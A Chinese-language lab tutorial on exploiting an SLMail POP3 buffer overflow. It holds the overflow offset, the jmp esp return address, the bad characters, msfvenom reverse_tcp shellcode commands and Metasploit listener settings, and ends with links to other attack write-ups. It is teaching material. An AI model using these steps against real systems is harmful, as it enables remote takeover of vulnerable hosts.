作者:Joe   本文属于Arctic shell原创内容计划文章,转载请注明原文地址!


二进制,计算机才可以理解的低级语言,简单来说它是一种信号,用电信号为例,0就是断电,而1就是有电,这样子010101有规律的闪就是我们的二进制了。看到这里你应该会想,都9102年了,怎么可能还有人在用二进制写程序,of course,01带来的不便真的太多了(详情请见我的一篇汇编基础文章)首先是:

1、 修改太麻烦,排错不容易

2、 代码量太多,工作太复杂

3、 容易出错

所以在二进制的基础上,又有了汇编语言,汇编语言是直接对cpu进行操作的一种语言,它主要是用汇编指令。所以我们讲的既然跟二进制有关,那肯定会有汇编的出现。

在汇编语言上的是高级语言,类似吃、c/c++、java等的语言,高级语言,简单来说就是可以被人理解的语言,我们用高级语言写程序也叫编程。

在c语言上又有一种语言叫python,它的强大你们都理解,但是速度却没有c快。

C的工作原理是这样子的

C -> 汇编(c先翻译为汇编)-> 二进制(pe文件,也就是exe。可以直接执行的程序)

C文件也被我们叫源文件,举个例子:生产线,c文件是原料,汇编类似于加工,二进制就是我们要的成品了。

也可以这么说,如果有了c文件,我们可以直接审核,不用去逆向出汇编代码。

如何解释c和汇编的关系呢

比如下面这段c语言代码

{

Int a = 10;

Int b = a;

C = a + b;

}

翻译成汇编代码可能是这样子的

Mov eax,10 //把数值10给eax

Mov edx,eax //把eax的值给edx

Add eax,edx //把edx和eax相加

这就是汇编和c的关系。这里就不在详细解释汇编和c。相关基础自己去阅读文章即可!

P.s:不要问我为什么没有二进制,我去哪里找一段01给你们看。。。。

接下来是我们要用的工具:

调试器,我用的是immuintydebugger

关于环境和下载所需的东西我会在后面给出

简单的讲述缓冲区溢出:

缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权

那么本期我们就尝试利用slmail的漏洞来getshell

环境搭建:

windows 2003 一台

Kali一台

在window2003安装debug用于调试程序

然后需要一个叫mona的脚本,可以在GitHub找到

在这里扯一下系统里面的一些内存防御机制

1、 aslr:软件重启会更改基地址(一般的缓冲区溢出漏洞都是利用jmp等指令转到shellcode,所以我们需要指令的实际地址,但是有了aslr之后,每次的地址都不一样,这就造成了难以定位指令的实际地址而无法构造exp)

2、 dep 开启了dep后,数据页无法执行命令,也就是说,即使跳转到shellcode的地址,你也无法执行shellcode返回shell

我们在windows2003里面开启debug调试进程,使用attache选项

快捷键是 ctrl+F1

可以看到这里有个为slmail的进程,我们单击,然后点attach

我们按两下f9开始运行!

程序运行后在kali用nc连接slmail开放的110端口。

我们已经成功的连接上了110端口,并且看到上面开放的服务,现在我们可以创建一个账号

我们测试一下溢出点

先用python生成较多的无用字符用来测试

-c 是直接运行python的语句

我们复制一下

我们在添加到shell里面,然后回车

我们发现已经没反应了

我们切换到windows2003看看

Ebp已经变成61616161,说明我们成功让程序溢出,现在程序处于一个崩溃状态

我们需要去“服务”选项里面重启pop3服务

现在我们知道溢出点在哪里了,我们可以用msf的两个工具找出准确的溢出数值,填充的无用字符多一个少一个都可以导致攻击失败。

工具在:/usr/share/Metasploit-framework/tools/exploit 目录里面

分别是 pattern_create.rb和pattern_offset.rb这两个文件

我们先用create生成字符串,用来定位精准溢出字符。

我们生成比较多的字符串

./pattern_cerate -l 字符的数量,这里我是输入了4000个

我们可以写个python脚本测试一下用socket库简单的测试

执行python脚本后就会开始发送我们的buf
发送完毕,我们看看debug的反应

这里已经填成了我们发送的buf

我们把eip的地址给记一下

然后在命令行执行./pattern_offset -q eip的地址

然后我们得到了精准的数值

我们看到是2606,也就是说2606后面的4个内存单元就是eip

有了eip,我们就可以操纵eip让cpu执行我们的shellcode,执行shellcode的方法有多种,直接设置eip为shellcode所在的地址,或者利用jmp指令去跳转到shellcode的地方并执行,那么第一种呢,如果环境变化了,地址不同,或者说是有差异,那么这条地址可能就没有用了,所以我们可以选择第二种,jmp 指令,他可以克服这些困难。

那么废话不多说,这里我们就要用到一个神器了,也就是mona.py

他可以帮助我们找出所要的指令,还可以列出是否有内存保护机制

接下来我们讲讲,刚才所提到的jmp esp的命令,我们用mona脚本列出所有的模块

这里是列出的模块

命令是 !mona modules

我们在模块中,找一些没有开启防护的,筛选后,我们暂定这两个

Openc32.dll和slmfc.Dll

我们可以用find参数和-m参数

Find,也就是寻找,我们可以在里面找到需要的指令,-m,也就是指定我们筛选出的dll

!mona find -s \xff\xe4 -m openc32.dll

Ffe4为jmp esp的指令,为什么要选择jmp esp呢?

那是因为我们的生成的shellcode一般在300个字节,而esp可以容纳400个字节

所以用esp再合适不过了。

我们选择第一个,然后双击,

点击m

可以看到有读和执行的权限

所以我们可以利用这个dll来实现跳转执行!

我们设置个断点来证实我们的猜想

注:第一个选项

这个时候该找的都找了,我们可以开始编写脚本来测试猜想了。

记住下断点的地址,前面我们说了,2606个字节后面就是eip了,所以我们要把断点的地址填入到eip,让它去跳转到esp寄存器!

因为汇编语言的地址加载和我们所看到的不一样,所以要调换一下位置。

所以脚本里面的地址为 \xe3\x41\x4b\x5f

准备好就保存,然后开始。

已经跳转到我们的断点,程序也停止了运行。我们按f7单步调试!

可以看到esp里面填充了我刚才所写的test test

也就是说我们可以利用它执行shellcode,我们用msf生成一段shellcode

Msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.111 -f python

生成一段shellcode。然后我们修改exp

修改完我们测试一下,发现虽然溢出了,但是没有shell返回,那么这是怎么回事呢。

其实在内存中有个叫badchar,也就是坏字符的东西,他可以阻碍shellcode的运行,比如\x00 这个会停止shellcode运行。我们可以测试一下来找到badchar

我们把所有字符,写入到exp里面进行测试。

修改完就开始运行。

最后测出来的坏字符为 00 0a 0d现在重新生成shellcode

Msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.111 -f python -b \x00\x0a\x0d

我们把shellcode复制进exp里面。

开启msf监听

Use exploit/multi/handler

Set payload windows/meterprter/reverse_tcp

Set lhost 192.168.2.111

Run

脚本里记得填充8个nop,要不然shellcode会被覆盖不能执行。

我们成功得到了一个shell!

本次实验到此结束!

尝试利用slmail的漏洞来getshell的更多相关文章

  1. 利用docker 最新漏洞渗透--提取root 权限

    一.事出 近期乌云漏洞平台等科技新闻,爆出Docker虚拟化 端口漏洞,本着热爱开源,实践动手的精神,我也去尝试了下,漏洞严重性确实很高,可以拿到root 登陆账户. 二.还原 2.1 通过扫描,我们 ...

  2. 利用SQL注入漏洞登录后台的实现方法

    利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读 ...

  3. 利用窗口引用漏洞和XSS漏洞实现浏览器劫持

    ==Ph4nt0m Security Team==                        Issue 0x03, Phile #0x05 of 0x07 |=----------------- ...

  4. PHPcms9.6.0任意文件上传漏洞直接getshell 利用教程

    对于PHPcms9.6.0 最新版漏洞,具体利用步骤如下: 首先我们在本地搭建一个php环境,我这里是appserv或者使用phpnow (官网下载地址:http://servkit.org/) (只 ...

  5. 简单尝试利用维控LeviStudioU的一栈缓冲区溢出漏洞

    这是别人给我发的,让我分析一下,看能否写出exp.只怪自己水平不够,最后没能写出exp,以下为自己的分析思路 环境为win10 pro x64 英文版(10.0.16299) 默认安全配置 一.漏洞分 ...

  6. 组合拳 | 本地文件包含漏洞+TFTP=Getshell

    文章声明 安全文章技术仅供参考,此文所提供的信息为漏洞靶场进行渗透,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作. 本文所提供的工具仅用于学习,禁止用于其他,未经授权,严禁转载,如需转 ...

  7. 利用SQL注入漏洞登录后台

    所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询 ...

  8. 利用phpcms后台漏洞渗透某色情网站

    本文来源于i春秋学院,未经允许严禁转载 phpcms v9版本最近爆了好几个漏洞,网上公开了不少信息,但没有真正实战过,就不能掌握其利用方法,本次是在偶然的机会下,发现一个网站推荐楼凤信息,通过分析, ...

  9. 教你利用Node.js漏洞搞事情

    PentestingNode.js Application : Nodejs Application Security 原文地址:http://www.websecgeeks.com/2017/04/ ...

随机推荐

  1. HTML5基础实例

    <!DOCTYPE html> <!--声明HTML文档--> <html> <head> <title>我的网页</title> ...

  2. 再读c++primer plus 003

    1.如果函数返回一个结构而不是一个指向结构的引用,将把整个结构复制到一个临时位置,再将这个拷贝复制给dup.但在返回值为引用时,将直接复制给变量,其效率更高. 2.返回引用时最重要的一点是,应避免返回 ...

  3. 清幽傲竹实现的kbmMWServer数据库联接失败重联(转载红鱼儿)

    1.修改kbmMWUnidac单元的TkbmMWUNIDACConnection.InternalOpenConnection方法,加上:          //支持unidac重联          ...

  4. RAID : 独立磁盘冗余阵列(Redundant Array of Independent Disks)

    RAID 分为不用的等级(RAID0 - RAID5),以满足不同的数据应用需求. RAID 是由多个独立的高性能磁盘驱动器组成的磁盘子系统,从而提供比单个磁盘更高的存储性能和数据冗余的技术. AID ...

  5. Graphviz 环境变量设置

    今天晚上解决了一个错误,如下:

  6. 2018.11.02 洛谷P2661 信息传递(拓扑排序+搜索)

    传送门 按照题意模拟就行了. 先拓扑排序去掉不在环上面的点. 剩下的都是简单环了. 于是都dfsdfsdfs一遍求出最短的环就行. 代码: #include<bits/stdc++.h> ...

  7. Win7 VS2015及MinGW环境编译矢量库agg-2.5和cairo-1.14.6

    书接上文,昨天装了MinGW,主要原因之一是要用到MSYS,所以顺手把FFMPEG又编译了一遍. 回到主题,其实我是想编译矢量库,因为最近要学习一些计算几何算法,所以找个方便的2D画图库就很重要. 说 ...

  8. 以太网MAC地址规范

    原文地址:http://blog.csdn.net/skyflying2012/article/details/40322563 之前一段时间在做网卡驱动的工作,现在产品量产,利用ifconfig e ...

  9. linux 定时器 定时执行php

    输入命令:    crontab -e 添加定时命令 每隔一分钟执行一次php //复制一下命令即可.  */1 * * * * /usr/bin/curl -o /home/logs/temp.lo ...

  10. Is Docker Good for Your Database?

    https://dzone.com/articles/is-docker-good-for-your-database